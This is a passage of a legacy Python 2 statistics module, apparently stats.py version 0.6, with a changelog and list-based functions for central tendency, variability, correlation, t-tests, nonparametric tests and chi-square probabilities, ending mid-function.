anormaltest per same reference ## re-wrote azprob to calc arrays of probs all at once ## 99-08-22 ... edited attest_ind printing section so arrays could be rounded ## 99-08-19 ... fixed amean and aharmonicmean for non-error(!) overflow on ## short/byte arrays (mean of #s btw 100-300 = -150??) ## 99-08-09 ... fixed asum so that the None case works for Byte arrays ## 99-08-08 ... fixed 7/3 'improvement' to handle t-calcs on N-D arrays ## 99-07-03 ... improved attest_ind, attest_rel (zero-division errortrap) ## 99-06-24 ... fixed bug(?) in attest_ind (n1=a.shape[0]) ## 04/11/99 ... added asignaltonoise, athreshold functions, changed all ## max/min in array section to N.maximum/N.minimum, ## fixed square_of_sums to prevent integer overflow ## 04/10/99 ... !!! Changed function name ... sumsquared ==> square_of_sums ## 03/18/99 ... Added ar0, ar2, ar3 and ar4 rounding functions ## 02/28/99 ... Fixed aobrientransform to return an array rather than a list ## 01/15/99 ... Essentially ceased updating list-versions of functions (!!!) ## 01/13/99 ... CHANGED TO VERSION 0.3 ## fixed bug in a/lmannwhitneyu p-value calculation ## 12/31/98 ... fixed variable-name bug in ldescribe ## 12/19/98 ... fixed bug in findwithin (fcns needed pstat. prefix) ## 12/16/98 ... changed amedianscore to return float (not array) for 1 score ## 12/14/98 ... added atmin and atmax functions ## removed umath from import line (not needed) ## l/ageometricmean modified to reduce chance of overflows (take ## nth root first, then multiply) ## 12/07/98 ... added __version__variable (now 0.2) ## removed all 'stats.' from anova() fcn ## 12/06/98 ... changed those functions (except shellsort) that altered ## arguments in-place ... cumsum, ranksort, ... ## updated (and fixed some) doc-strings ## 12/01/98 ... added anova() function (requires NumPy) ## incorporated Dispatch class ## 11/12/98 ... added functionality to amean, aharmonicmean, ageometricmean ## added 'asum' function (added functionality to N.add.reduce) ## fixed both moment and amoment (two errors) ## changed name of skewness and askewness to skew and askew ## fixed (a)histogram (which sometimes counted points <lowerlimit) import pstat # required 3rd party module import math, string, copy # required python modules from types import * __version__ = 0.6 ############# DISPATCH CODE ############## class Dispatch: """ The Dispatch class, care of David Ascher, allows different functions to be called depending on the argument types. This way, there can be one function name regardless of the argument type. To access function doc in stats.py module, prefix the function with an 'l' or 'a' for list or array arguments, respectively. That is, print stats.lmean.__doc__ or print stats.amean.__doc__ or whatever. """ def __init__(self, *tuples): self._dispatch = {} for func, types in tuples: for t in types: if t in self._dispatch.keys(): raise ValueError, "can't have two dispatches on "+str(t) self._dispatch[t] = func self._types = self._dispatch.keys() def __call__(self, arg1, *args, **kw): if type(arg1) not in self._types: raise TypeError, "don't know how to dispatch %s arguments" % type(arg1) return apply(self._dispatch[type(arg1)], (arg1,) + args, kw) ########################################################################## ######################## LIST-BASED FUNCTIONS ######################## ########################################################################## ### Define these regardless #################################### ####### CENTRAL TENDENCY ######### #################################### def lgeometricmean (inlist): """ Calculates the geometric mean of the values in the passed list. That is: n-th root of (x1 * x2 * ... * xn). Assumes a '1D' list. Usage: lgeometricmean(inlist) """ mult = 1.0 one_over_n = 1.0/len(inlist) for item in inlist: mult = mult * pow(item,one_over_n) return mult def lharmonicmean (inlist): """ Calculates the harmonic mean of the values in the passed list. That is: n / (1/x1 + 1/x2 + ... + 1/xn). Assumes a '1D' list. Usage: lharmonicmean(inlist) """ sum = 0 for item in inlist: sum = sum + 1.0/item return len(inlist) / sum def lmean (inlist): """ Returns the arithematic mean of the values in the passed list. Assumes a '1D' list, but will function on the 1st dim of an array(!). Usage: lmean(inlist) """ sum = 0 for item in inlist: sum = sum + item return sum/float(len(inlist)) def lmedian (inlist,numbins=1000): """ Returns the computed median value of a list of numbers, given the number of bins to use for the histogram (more bins brings the computed value closer to the median score, default number of bins = 1000). See G.W. Heiman's Basic Stats (1st Edition), or CRC Probability & Statistics. Usage: lmedian (inlist, numbins=1000) """ (hist, smallest, binsize, extras) = histogram(inlist,numbins) # make histog cumhist = cumsum(hist) # make cumulative histogram for i in range(len(cumhist)): # get 1st(!) index holding 50%ile score if cumhist[i]>=len(inlist)/2.0: cfbin = i break LRL = smallest + binsize*cfbin # get lower read limit of that bin cfbelow = cumhist[cfbin-1] freq = float(hist[cfbin]) # frequency IN the 50%ile bin median = LRL + ((len(inlist)/2.0 - cfbelow)/float(freq))*binsize # median formula return median def lmedianscore (inlist): """ Returns the 'middle' score of the passed list. If there is an even number of scores, the mean of the 2 middle scores is returned. Usage: lmedianscore(inlist) """ newlist = copy.deepcopy(inlist) newlist.sort() if len(newlist) % 2 == 0: # if even number of scores, average middle 2 index = len(newlist)/2 # integer division correct median = float(newlist[index] + newlist[index-1]) /2 else: index = len(newlist)/2 # int divsion gives mid value when count from 0 median = newlist[index] return median def lmode(inlist): """ Returns a list of the modal (most common) score(s) in the passed list. If there is more than one such score, all are returned. The bin-count for the mode(s) is also returned. Usage: lmode(inlist) Returns: bin-count for mode(s), a list of modal value(s) """ scores = pstat.unique(inlist) scores.sort() freq = [] for item in scores: freq.append(inlist.count(item)) maxfreq = max(freq) mode = [] stillmore = 1 while stillmore: try: indx = freq.index(maxfreq) mode.append(scores[indx]) del freq[indx] del scores[indx] except ValueError: stillmore=0 return maxfreq, mode #################################### ############ MOMENTS ############# #################################### def lmoment(inlist,moment=1): """ Calculates the nth moment about the mean for a sample (defaults to the 1st moment). Used to calculate coefficients of skewness and kurtosis. Usage: lmoment(inlist,moment=1) Returns: appropriate moment (r) from ... 1/n * SUM((inlist(i)-mean)**r) """ if moment == 1: return 0.0 else: mn = mean(inlist) n = len(inlist) s = 0 for x in inlist: s = s + (x-mn)**moment return s/float(n) def lvariation(inlist): """ Returns the coefficient of variation, as defined in CRC Standard Probability and Statistics, p.6. Usage: lvariation(inlist) """ return 100.0*samplestdev(inlist)/float(mean(inlist)) def lskew(inlist): """ Returns the skewness of a distribution, as defined in Numerical Recipies (alternate defn in CRC Standard Probability and Statistics, p.6.) Usage: lskew(inlist) """ return moment(inlist,3)/pow(moment(inlist,2),1.5) def lkurtosis(inlist): """ Returns the kurtosis of a distribution, as defined in Numerical Recipies (alternate defn in CRC Standard Probability and Statistics, p.6.) Usage: lkurtosis(inlist) """ return moment(inlist,4)/pow(moment(inlist,2),2.0) def ldescribe(inlist): """ Returns some descriptive statistics of the passed list (assumed to be 1D). Usage: ldescribe(inlist) Returns: n, mean, standard deviation, skew, kurtosis """ n = len(inlist) mm = (min(inlist),max(inlist)) m = mean(inlist) sd = stdev(inlist) sk = skew(inlist) kurt = kurtosis(inlist) return n, mm, m, sd, sk, kurt #################################### ####### FREQUENCY STATS ########## #################################### def litemfreq(inlist): """ Returns a list of pairs. Each pair consists of one of the scores in inlist and it's frequency count. Assumes a 1D list is passed. Usage: litemfreq(inlist) Returns: a 2D frequency table (col [0:n-1]=scores, col n=frequencies) """ scores = pstat.unique(inlist) scores.sort() freq = [] for item in scores: freq.append(inlist.count(item)) return pstat.abut(scores, freq) def lscoreatpercentile (inlist, percent): """ Returns the score at a given percentile relative to the distribution given by inlist. Usage: lscoreatpercentile(inlist,percent) """ if percent > 1: print "\nDividing percent>1 by 100 in lscoreatpercentile().\n" percent = percent / 100.0 targetcf = percent*len(inlist) h, lrl, binsize, extras = histogram(inlist) cumhist = cumsum(copy.deepcopy(h)) for i in range(len(cumhist)): if cumhist[i] >= targetcf: break score = binsize * ((targetcf - cumhist[i-1]) / float(h[i])) + (lrl+binsize*i) return score def lpercentileofscore (inlist, score,histbins=10,defaultlimits=None): """ Returns the percentile value of a score relative to the distribution given by inlist. Formula depends on the values used to histogram the data(!). Usage: lpercentileofscore(inlist,score,histbins=10,defaultlimits=None) """ h, lrl, binsize, extras = histogram(inlist,histbins,defaultlimits) cumhist = cumsum(copy.deepcopy(h)) i = int((score - lrl)/float(binsize)) pct = (cumhist[i-1]+((score-(lrl+binsize*i))/float(binsize))*h[i])/float(len(inlist)) * 100 return pct def lhistogram (inlist,numbins=10,defaultreallimits=None,printextras=0): """ Returns (i) a list of histogram bin counts, (ii) the smallest value of the histogram binning, and (iii) the bin width (the last 2 are not necessarily integers). Default number of bins is 10. If no sequence object is given for defaultreallimits, the routine picks (usually non-pretty) bins spanning all the numbers in the inlist. Usage: lhistogram (inlist, numbins=10, defaultreallimits=None,suppressoutput=0) Returns: list of bin values, lowerreallimit, binsize, extrapoints """ if (defaultreallimits <> None): if type(defaultreallimits) not in [ListType,TupleType] or len(defaultreallimits)==1: # only one limit given, assumed to be lower one & upper is calc'd lowerreallimit = defaultreallimits upperreallimit = 1.0001 * max(inlist) else: # assume both limits given lowerreallimit = defaultreallimits[0] upperreallimit = defaultreallimits[1] binsize = (upperreallimit-lowerreallimit)/float(numbins) else: # no limits given for histogram, both must be calc'd estbinwidth=(max(inlist)-min(inlist))/float(numbins) + 1 # 1=>cover all binsize = ((max(inlist)-min(inlist)+estbinwidth))/float(numbins) lowerreallimit = min(inlist) - binsize/2 #lower real limit,1st bin bins = [0]*(numbins) extrapoints = 0 for num in inlist: try: if (num-lowerreallimit) < 0: extrapoints = extrapoints + 1 else: bintoincrement = int((num-lowerreallimit)/float(binsize)) bins[bintoincrement] = bins[bintoincrement] + 1 except: extrapoints = extrapoints + 1 if (extrapoints > 0 and printextras == 1): print '\nPoints outside given histogram range =',extrapoints return (bins, lowerreallimit, binsize, extrapoints) def lcumfreq(inlist,numbins=10,defaultreallimits=None): """ Returns a cumulative frequency histogram, using the histogram function. Usage: lcumfreq(inlist,numbins=10,defaultreallimits=None) Returns: list of cumfreq bin values, lowerreallimit, binsize, extrapoints """ h,l,b,e = histogram(inlist,numbins,defaultreallimits) cumhist = cumsum(copy.deepcopy(h)) return cumhist,l,b,e def lrelfreq(inlist,numbins=10,defaultreallimits=None): """ Returns a relative frequency histogram, using the histogram function. Usage: lrelfreq(inlist,numbins=10,defaultreallimits=None) Returns: list of cumfreq bin values, lowerreallimit, binsize, extrapoints """ h,l,b,e = histogram(inlist,numbins,defaultreallimits) for i in range(len(h)): h[i] = h[i]/float(len(inlist)) return h,l,b,e #################################### ##### VARIABILITY FUNCTIONS ###### #################################### def lobrientransform(*args): """ Computes a transform on input data (any number of columns). Used to test for homogeneity of variance prior to running one-way stats. From Maxwell and Delaney, p.112. Usage: lobrientransform(*args) Returns: transformed data for use in an ANOVA """ TINY = 1e-10 k = len(args) n = [0.0]*k v = [0.0]*k m = [0.0]*k nargs = [] for i in range(k): nargs.append(copy.deepcopy(args[i])) n[i] = float(len(nargs[i])) v[i] = var(nargs[i]) m[i] = mean(nargs[i]) for j in range(k): for i in range(n[j]): t1 = (n[j]-1.5)*n[j]*(nargs[j][i]-m[j])**2 t2 = 0.5*v[j]*(n[j]-1.0) t3 = (n[j]-1.0)*(n[j]-2.0) nargs[j][i] = (t1-t2) / float(t3) check = 1 for j in range(k): if v[j] - mean(nargs[j]) > TINY: check = 0 if check <> 1: raise ValueError, 'Problem in obrientransform.' else: return nargs def lsamplevar (inlist): """ Returns the variance of the values in the passed list using N for the denominator (i.e., DESCRIBES the sample variance only). Usage: lsamplevar(inlist) """ n = len(inlist) mn = mean(inlist) deviations = [] for item in inlist: deviations.append(item-mn) return ss(deviations)/float(n) def lsamplestdev (inlist): """ Returns the standard deviation of the values in the passed list using N for the denominator (i.e., DESCRIBES the sample stdev only). Usage: lsamplestdev(inlist) """ return math.sqrt(samplevar(inlist)) def lvar (inlist): """ Returns the variance of the values in the passed list using N-1 for the denominator (i.e., for estimating population variance). Usage: lvar(inlist) """ n = len(inlist) mn = mean(inlist) deviations = [0]*len(inlist) for i in range(len(inlist)): deviations[i] = inlist[i] - mn return ss(deviations)/float(n-1) def lstdev (inlist): """ Returns the standard deviation of the values in the passed list using N-1 in the denominator (i.e., to estimate population stdev). Usage: lstdev(inlist) """ return math.sqrt(var(inlist)) def lsterr(inlist): """ Returns the standard error of the values in the passed list using N-1 in the denominator (i.e., to estimate population standard error). Usage: lsterr(inlist) """ return stdev(inlist) / float(math.sqrt(len(inlist))) def lsem (inlist): """ Returns the estimated standard error of the mean (sx-bar) of the values in the passed list. sem = stdev / sqrt(n) Usage: lsem(inlist) """ sd = stdev(inlist) n = len(inlist) return sd/math.sqrt(n) def lz (inlist, score): """ Returns the z-score for a given input score, given that score and the list from which that score came. Not appropriate for population calculations. Usage: lz(inlist, score) """ z = (score-mean(inlist))/samplestdev(inlist) return z def lzs (inlist): """ Returns a list of z-scores, one for each score in the passed list. Usage: lzs(inlist) """ zscores = [] for item in inlist: zscores.append(z(inlist,item)) return zscores #################################### ####### TRIMMING FUNCTIONS ####### #################################### def ltrimboth (l,proportiontocut): """ Slices off the passed proportion of items from BOTH ends of the passed list (i.e., with proportiontocut=0.1, slices 'leftmost' 10% AND 'rightmost' 10% of scores. Assumes list is sorted by magnitude. Slices off LESS if proportion results in a non-integer slice index (i.e., conservatively slices off proportiontocut). Usage: ltrimboth (l,proportiontocut) Returns: trimmed version of list l """ lowercut = int(proportiontocut*len(l)) uppercut = len(l) - lowercut return l[lowercut:uppercut] def ltrim1 (l,proportiontocut,tail='right'): """ Slices off the passed proportion of items from ONE end of the passed list (i.e., if proportiontocut=0.1, slices off 'leftmost' or 'rightmost' 10% of scores). Slices off LESS if proportion results in a non-integer slice index (i.e., conservatively slices off proportiontocut). Usage: ltrim1 (l,proportiontocut,tail='right') or set tail='left' Returns: trimmed version of list l """ if tail == 'right': lowercut = 0 uppercut = len(l) - int(proportiontocut*len(l)) elif tail == 'left': lowercut = int(proportiontocut*len(l)) uppercut = len(l) return l[lowercut:uppercut] #################################### ##### CORRELATION FUNCTIONS ###### #################################### def lpaired(x,y): """ Interactively determines the type of data and then runs the appropriated statistic for paired group data. Usage: lpaired(x,y) Returns: appropriate statistic name, value, and probability """ samples = '' while samples not in ['i','r','I','R','c','C']: print '\nIndependent or related samples, or correlation (i,r,c): ', samples = raw_input() if samples in ['i','I','r','R']: print '\nComparing variances ...', # USE O'BRIEN'S TEST FOR HOMOGENEITY OF VARIANCE, Maxwell & delaney, p.112 r = obrientransform(x,y) f,p = F_oneway(pstat.colex(r,0),pstat.colex(r,1)) if p<0.05: vartype='unequal, p='+str(round(p,4)) else: vartype='equal' print vartype if samples in ['i','I']: if vartype[0]=='e': t,p = ttest_ind(x,y,0) print '\nIndependent samples t-test: ', round(t,4),round(p,4) else: if len(x)>20 or len(y)>20: z,p = ranksums(x,y) print '\nRank Sums test (NONparametric, n>20): ', round(z,4),round(p,4) else: u,p = mannwhitneyu(x,y) print '\nMann-Whitney U-test (NONparametric, ns<20): ', round(u,4),round(p,4) else: # RELATED SAMPLES if vartype[0]=='e': t,p = ttest_rel(x,y,0) print '\nRelated samples t-test: ', round(t,4),round(p,4) else: t,p = ranksums(x,y) print '\nWilcoxon T-test (NONparametric): ', round(t,4),round(p,4) else: # CORRELATION ANALYSIS corrtype = '' while corrtype not in ['c','C','r','R','d','D']: print '\nIs the data Continuous, Ranked, or Dichotomous (c,r,d): ', corrtype = raw_input() if corrtype in ['c','C']: m,b,r,p,see = linregress(x,y) print '\nLinear regression for continuous variables ...' lol = [['Slope','Intercept','r','Prob','SEestimate'],[round(m,4),round(b,4),round(r,4),round(p,4),round(see,4)]] pstat.printcc(lol) elif corrtype in ['r','R']: r,p = spearmanr(x,y) print '\nCorrelation for ranked variables ...' print "Spearman's r: ",round(r,4),round(p,4) else: # DICHOTOMOUS r,p = pointbiserialr(x,y) print '\nAssuming x contains a dichotomous variable ...' print 'Point Biserial r: ',round(r,4),round(p,4) print '\n\n' return None def lpearsonr(x,y): """ Calculates a Pearson correlation coefficient and the associated probability value. Taken from Heiman's Basic Statistics for the Behav. Sci (2nd), p.195. Usage: lpearsonr(x,y) where x and y are equal-length lists Returns: Pearson's r value, two-tailed p-value """ TINY = 1.0e-30 if len(x) <> len(y): raise ValueError, 'Input values not paired in pearsonr. Aborting.' n = len(x) x = map(float,x) y = map(float,y) xmean = mean(x) ymean = mean(y) r_num = n*(summult(x,y)) - sum(x)*sum(y) r_den = math.sqrt((n*ss(x) - square_of_sums(x))*(n*ss(y)-square_of_sums(y))) r = (r_num / r_den) # denominator already a float df = n-2 t = r*math.sqrt(df/((1.0-r+TINY)*(1.0+r+TINY))) prob = betai(0.5*df,0.5,df/float(df+t*t)) return r, prob def lorigin_pearsonr(x,y): """ Calculates a Pearson correlation coefficient and the associated probability value for correlation through the origin. By Dylan Schwilk Not yet tested. Usage: lorigin_pearsonr(x,y) where x and y are equal-length lists Returns: Pearson's r value, two-tailed p-value """ TINY = 1.0e-30 if len(x) <> len(y): raise ValueError, 'Input values not paired in origin_pearsonr. Aborting.' n = len(x) x = map(float,x) y = map(float,y) xmean = mean(x) ymean = mean(y) r_den = math.sqrt(ss(x) * ss(y)) r = summult(x,y) / r_den df = n-2 t = r*math.sqrt(df/((1.0-r+TINY)*(1.0+r+TINY))) prob = betai(0.5*df,0.5,df/float(df+t*t)) return r, prob def lspearmanr(x,y): """ Calculates a Spearman rank-order correlation coefficient. Taken from Heiman's Basic Statistics for the Behav. Sci (1st), p.192. Usage: lspearmanr(x,y) where x and y are equal-length lists Returns: Spearman's r, two-tailed p-value """ TINY = 1e-30 if len(x) <> len(y): raise ValueError, 'Input values not paired in spearmanr. Aborting.' n = len(x) rankx = rankdata(x) ranky = rankdata(y) dsq = sumdiffsquared(rankx,ranky) rs = 1 - 6*dsq / float(n*(n**2-1)) t = rs * math.sqrt((n-2) / ((rs+1.0)*(1.0-rs))) df = n-2 probrs = betai(0.5*df,0.5,df/(df+t*t)) # t already a float # probability values for rs are from part 2 of the spearman function in # Numerical Recipies, p.510. They are close to tables, but not exact. (?) return rs, probrs def lpointbiserialr(x,y): """ Calculates a point-biserial correlation coefficient and the associated probability value. Taken from Heiman's Basic Statistics for the Behav. Sci (1st), p.194. Usage: lpointbiserialr(x,y) where x,y are equal-length lists Returns: Point-biserial r, two-tailed p-value """ TINY = 1e-30 if len(x) <> len(y): raise ValueError, 'INPUT VALUES NOT PAIRED IN pointbiserialr. ABORTING.' data = pstat.abut(x,y) categories = pstat.unique(x) if len(categories) <> 2: raise ValueError, "Exactly 2 categories required for pointbiserialr()." else: # there are 2 categories, continue codemap = pstat.abut(categories,range(2)) recoded = pstat.recode(data,codemap,0) x = pstat.linexand(data,0,categories[0]) y = pstat.linexand(data,0,categories[1]) xmean = mean(pstat.colex(x,1)) ymean = mean(pstat.colex(y,1)) n = len(data) adjust = math.sqrt((len(x)/float(n))*(len(y)/float(n))) rpb = (ymean - xmean)/samplestdev(pstat.colex(data,1))*adjust df = n-2 t = rpb*math.sqrt(df/((1.0-rpb+TINY)*(1.0+rpb+TINY))) prob = betai(0.5*df,0.5,df/(df+t*t)) # t already a float return rpb, prob def lkendalltau(x,y): """ Calculates Kendall's tau ... correlation of ordinal data. Adapted from function kendl1 in Numerical Recipies. Needs good test-routine.@@@ Usage: lkendalltau(x,y) Returns: Kendall's tau, two-tailed p-value """ n1 = 0 n2 = 0 iss = 0 for j in range(len(x)-1): for k in range(j,len(y)): a1 = x[j] - x[k] a2 = y[j] - y[k] aa = a1 * a2 if (aa): # neither list has a tie n1 = n1 + 1 n2 = n2 + 1 if aa > 0: iss = iss + 1 else: iss = iss -1 else: if (a1): n1 = n1 + 1 else: n2 = n2 + 1 tau = iss / math.sqrt(n1*n2) svar = (4.0*len(x)+10.0) / (9.0*len(x)*(len(x)-1)) z = tau / math.sqrt(svar) prob = erfcc(abs(z)/1.4142136) return tau, prob def llinregress(x,y): """ Calculates a regression line on x,y pairs. Usage: llinregress(x,y) x,y are equal-length lists of x-y coordinates Returns: slope, intercept, r, two-tailed prob, sterr-of-estimate """ TINY = 1.0e-20 if len(x) <> len(y): raise ValueError, 'Input values not paired in linregress. Aborting.' n = len(x) x = map(float,x) y = map(float,y) xmean = mean(x) ymean = mean(y) r_num = float(n*(summult(x,y)) - sum(x)*sum(y)) r_den = math.sqrt((n*ss(x) - square_of_sums(x))*(n*ss(y)-square_of_sums(y))) r = r_num / r_den z = 0.5*math.log((1.0+r+TINY)/(1.0-r+TINY)) df = n-2 t = r*math.sqrt(df/((1.0-r+TINY)*(1.0+r+TINY))) prob = betai(0.5*df,0.5,df/(df+t*t)) slope = r_num / float(n*ss(x) - square_of_sums(x)) intercept = ymean - slope*xmean sterrest = math.sqrt(1-r*r)*samplestdev(y) return slope, intercept, r, prob, sterrest #################################### ##### INFERENTIAL STATISTICS ##### #################################### def lttest_1samp(a,popmean,printit=0,name='Sample',writemode='a'): """ Calculates the t-obtained for the independent samples T-test on ONE group of scores a, given a population mean. If printit=1, results are printed to the screen. If printit='filename', the results are output to 'filename' using the given writemode (default=append). Returns t-value, and prob. Usage: lttest_1samp(a,popmean,Name='Sample',printit=0,writemode='a') Returns: t-value, two-tailed prob """ x = mean(a) v = var(a) n = len(a) df = n-1 svar = ((n-1)*v)/float(df) t = (x-popmean)/math.sqrt(svar*(1.0/n)) prob = betai(0.5*df,0.5,float(df)/(df+t*t)) if printit <> 0: statname = 'Single-sample T-test.' outputpairedstats(printit,writemode, 'Population','--',popmean,0,0,0, name,n,x,v,min(a),max(a), statname,t,prob) return t,prob def lttest_ind (a, b, printit=0, name1='Samp1', name2='Samp2', writemode='a'): """ Calculates the t-obtained T-test on TWO INDEPENDENT samples of scores a, and b. From Numerical Recipies, p.483. If printit=1, results are printed to the screen. If printit='filename', the results are output to 'filename' using the given writemode (default=append). Returns t-value, and prob. Usage: lttest_ind(a,b,printit=0,name1='Samp1',name2='Samp2',writemode='a') Returns: t-value, two-tailed prob """ x1 = mean(a) x2 = mean(b) v1 = stdev(a)**2 v2 = stdev(b)**2 n1 = len(a) n2 = len(b) df = n1+n2-2 svar = ((n1-1)*v1+(n2-1)*v2)/float(df) t = (x1-x2)/math.sqrt(svar*(1.0/n1 + 1.0/n2)) prob = betai(0.5*df,0.5,df/(df+t*t)) if printit <> 0: statname = 'Independent samples T-test.' outputpairedstats(printit,writemode, name1,n1,x1,v1,min(a),max(a), name2,n2,x2,v2,min(b),max(b), statname,t,prob) return t,prob def lttest_rel (a,b,printit=0,name1='Sample1',name2='Sample2',writemode='a'): """ Calculates the t-obtained T-test on TWO RELATED samples of scores, a and b. From Numerical Recipies, p.483. If printit=1, results are printed to the screen. If printit='filename', the results are output to 'filename' using the given writemode (default=append). Returns t-value, and prob. Usage: lttest_rel(a,b,printit=0,name1='Sample1',name2='Sample2',writemode='a') Returns: t-value, two-tailed prob """ if len(a)<>len(b): raise ValueError, 'Unequal length lists in ttest_rel.' x1 = mean(a) x2 = mean(b) v1 = var(a) v2 = var(b) n = len(a) cov = 0 for i in range(len(a)): cov = cov + (a[i]-x1) * (b[i]-x2) df = n-1 cov = cov / float(df) sd = math.sqrt((v1+v2 - 2.0*cov)/float(n)) t = (x1-x2)/sd prob = betai(0.5*df,0.5,df/(df+t*t)) if printit <> 0: statname = 'Related samples T-test.' outputpairedstats(printit,writemode, name1,n,x1,v1,min(a),max(a), name2,n,x2,v2,min(b),max(b), statname,t,prob) return t, prob def lchisquare(f_obs,f_exp=None): """ Calculates a one-way chi square for list of observed frequencies and returns the result. If no expected frequencies are given, the total N is assumed to be equally distributed across all groups. Usage: lchisquare(f_obs, f_exp=None) f_obs = list of observed cell freq. Returns: chisquare-statistic, associated p-value """ k = len(f_obs) # number of groups if f_exp == None: f_exp = [sum(f_obs)/float(k)] * len(f_obs) # create k bins with = freq. chisq = 0 for i in range(len(f_obs)): chisq = chisq + (f_obs[i]-f_exp[i])**2 / float(f_exp[i]) return chisq, chisqprob(chisq, k-1) def lks_2samp (data1,data2): """ Computes the Kolmogorov-Smirnof statistic on 2 samples. From Numerical Recipies in C, page 493. Usage: lks_2samp(data1,data2) data1&2 are lists of values for 2 conditions Returns: KS D-value, associated p-value """ j1 = 0 j2 = 0 fn1 = 0.0 fn2 = 0.0 n1 = len(data1) n2 = len(data2) en1 = n1 en2 = n2 d = 0.0 data1.sort() data2.sort() while j1 < n1 and j2 < n2: d1=data1[j1] d2=data2[j2] if d1 <= d2: fn1 = (j1)/float(en1) j1 = j1 + 1 if d2 <= d1: fn2 = (j2)/float(en2) j2 = j2 + 1 dt = (fn2-fn1) if math.fabs(dt) > math.fabs(d): d = dt try: en = math.sqrt(en1*en2/float(en1+en2)) prob = ksprob((en+0.12+0.11/en)*abs(d)) except: prob = 1.0 return d, prob def lmannwhitneyu(x,y): """ Calculates a Mann-Whitney U statistic on the provided scores and returns the result. Use only when the n in each condition is < 20 and you have 2 independent samples of ranks. NOTE: Mann-Whitney U is significant if the u-obtained is LESS THAN or equal to the critical value of U found in the tables. Equivalent to Kruskal-Wallis H with just 2 groups. Usage: lmannwhitneyu(data) Returns: u-statistic, one-tailed p-value (i.e., p(z(U))) """ n1 = len(x) n2 = len(y) ranked = rankdata(x+y) rankx = ranked[0:n1] # get the x-ranks ranky = ranked[n1:] # the rest are y-ranks u1 = n1*n2 + (n1*(n1+1))/2.0 - sum(rankx) # calc U for x u2 = n1*n2 - u1 # remainder is U for y bigu = max(u1,u2) smallu = min(u1,u2) T = math.sqrt(tiecorrect(ranked)) # correction factor for tied scores if T == 0: raise ValueError, 'All numbers are identical in lmannwhitneyu' sd = math.sqrt(T*n1*n2*(n1+n2+1)/12.0) z = abs((bigu-n1*n2/2.0) / sd) # normal approximation for prob calc return smallu, 1.0 - zprob(z) def ltiecorrect(rankvals): """ Corrects for ties in Mann Whitney U and Kruskal Wallis H tests. See Siegel, S. (1956) Nonparametric Statistics for the Behavioral Sciences. New York: McGraw-Hill. Code adapted from |Stat rankind.c code. Usage: ltiecorrect(rankvals) Returns: T correction factor for U or H """ sorted,posn = shellsort(rankvals) n = len(sorted) T = 0.0 i = 0 while (i<n-1): if sorted[i] == sorted[i+1]: nties = 1 while (i<n-1) and (sorted[i] == sorted[i+1]): nties = nties +1 i = i +1 T = T + nties**3 - nties i = i+1 T = T / float(n**3-n) return 1.0 - T def lranksums(x,y): """ Calculates the rank sums statistic on the provided scores and returns the result. Use only when the n in each condition is > 20 and you have 2 independent samples of ranks. Usage: lranksums(x,y) Returns: a z-statistic, two-tailed p-value """ n1 = len(x) n2 = len(y) alldata = x+y ranked = rankdata(alldata) x = ranked[:n1] y = ranked[n1:] s = sum(x) expected = n1*(n1+n2+1) / 2.0 z = (s - expected) / math.sqrt(n1*n2*(n1+n2+1)/12.0) prob = 2*(1.0 -zprob(abs(z))) return z, prob def lwilcoxont(x,y): """ Calculates the Wilcoxon T-test for related samples and returns the result. A non-parametric T-test. Usage: lwilcoxont(x,y) Returns: a t-statistic, two-tail probability estimate """ if len(x) <> len(y): raise ValueError, 'Unequal N in wilcoxont. Aborting.' d=[] for i in range(len(x)): diff = x[i] - y[i] if diff <> 0: d.append(diff) count = len(d) absd = map(abs,d) absranked = rankdata(absd) r_plus = 0.0 r_minus = 0.0 for i in range(len(absd)): if d[i] < 0: r_minus = r_minus + absranked[i] else: r_plus = r_plus + absranked[i] wt = min(r_plus, r_minus) mn = count * (count+1) * 0.25 se = math.sqrt(count*(count+1)*(2.0*count+1.0)/24.0) z = math.fabs(wt-mn) / se prob = 2*(1.0 -zprob(abs(z))) return wt, prob def lkruskalwallish(*args): """ The Kruskal-Wallis H-test is a non-parametric ANOVA for 3 or more groups, requiring at least 5 subjects in each group. This function calculates the Kruskal-Wallis H-test for 3 or more independent samples and returns the result. Usage: lkruskalwallish(*args) Returns: H-statistic (corrected for ties), associated p-value """ args = list(args) n = [0]*len(args) all = [] n = map(len,args) for i in range(len(args)): all = all + args[i] ranked = rankdata(all) T = tiecorrect(ranked) for i in range(len(args)): args[i] = ranked[0:n[i]] del ranked[0:n[i]] rsums = [] for i in range(len(args)): rsums.append(sum(args[i])**2) rsums[i] = rsums[i] / float(n[i]) ssbn = sum(rsums) totaln = sum(n) h = 12.0 / (totaln*(totaln+1)) * ssbn - 3*(totaln+1) df = len(args) - 1 if T == 0: raise ValueError, 'All numbers are identical in lkruskalwallish' h = h / float(T) return h, chisqprob(h,df) def lfriedmanchisquare(*args): """ Friedman Chi-Square is a non-parametric, one-way within-subjects ANOVA. This function calculates the Friedman Chi-square test for repeated measures and returns the result, along with the associated probability value. It assumes 3 or more repeated measures. Only 3 levels requires a minimum of 10 subjects in the study. Four levels requires 5 subjects per level(??). Usage: lfriedmanchisquare(*args) Returns: chi-square statistic, associated p-value """ k = len(args) if k < 3: raise ValueError, 'Less than 3 levels. Friedman test not appropriate.' n = len(args[0]) data = apply(pstat.abut,tuple(args)) for i in range(len(data)): data[i] = rankdata(data[i]) ssbn = 0 for i in range(k): ssbn = ssbn + sum(args[i])**2 chisq = 12.0 / (k*n*(k+1)) * ssbn - 3*n*(k+1) return chisq, chisqprob(chisq,k-1) #################################### #### PROBABILITY CALCULATIONS #### #################################### def lchisqprob(chisq,df): """ Returns the (1-tailed) probability value associated with the provided chi-square value and df. Adapted from chisq.c in Gary Perlman's |Stat. Usage: lchisqprob(chisq,df) """ BIG = 20.0 def ex(x): BIG = 20.0 if x < -BIG: return 0.0 else: return math.exp(x) if chisq <=0 or df < 1: return 1.0 a = 0.5 * chisq if df%2 == 0: even = 1 else: even = 0 if df > 1: y = ex(-a) if even: s = y else: s = 2.0 * zprob(-math.sqrt(chisq)) if (df > 2): chisq = 0.5 * (df - 1.0) if even: z = 1.0 else: z = 0.5 if a > BIG: if even: e = 0.0 else: e = math.log(math.sqrt(math.pi)) c = math.log(a) while (z <= chisq): e = math.log(z) + e s = s + ex(c*z-a-e) z = z + 1.0 return s else: if even: e = 1.0 else: e = 1.0 / math.sqrt(math.pi) / math.sqrt(a) c = 0.0 while (z <= chisq): e = e * (a/float(z)) c = c + e z = z + 1.0 return (c*y+s) else: return s def lerfcc(x): """ Returns the complementary error function erfc(x) with fractional error everywhere less than 1.2e-7. Adapted from Numerical Recipies. Usage: lerfcc(x) """ z = abs(x) t = 1.0 / (1.0+0.5*z) 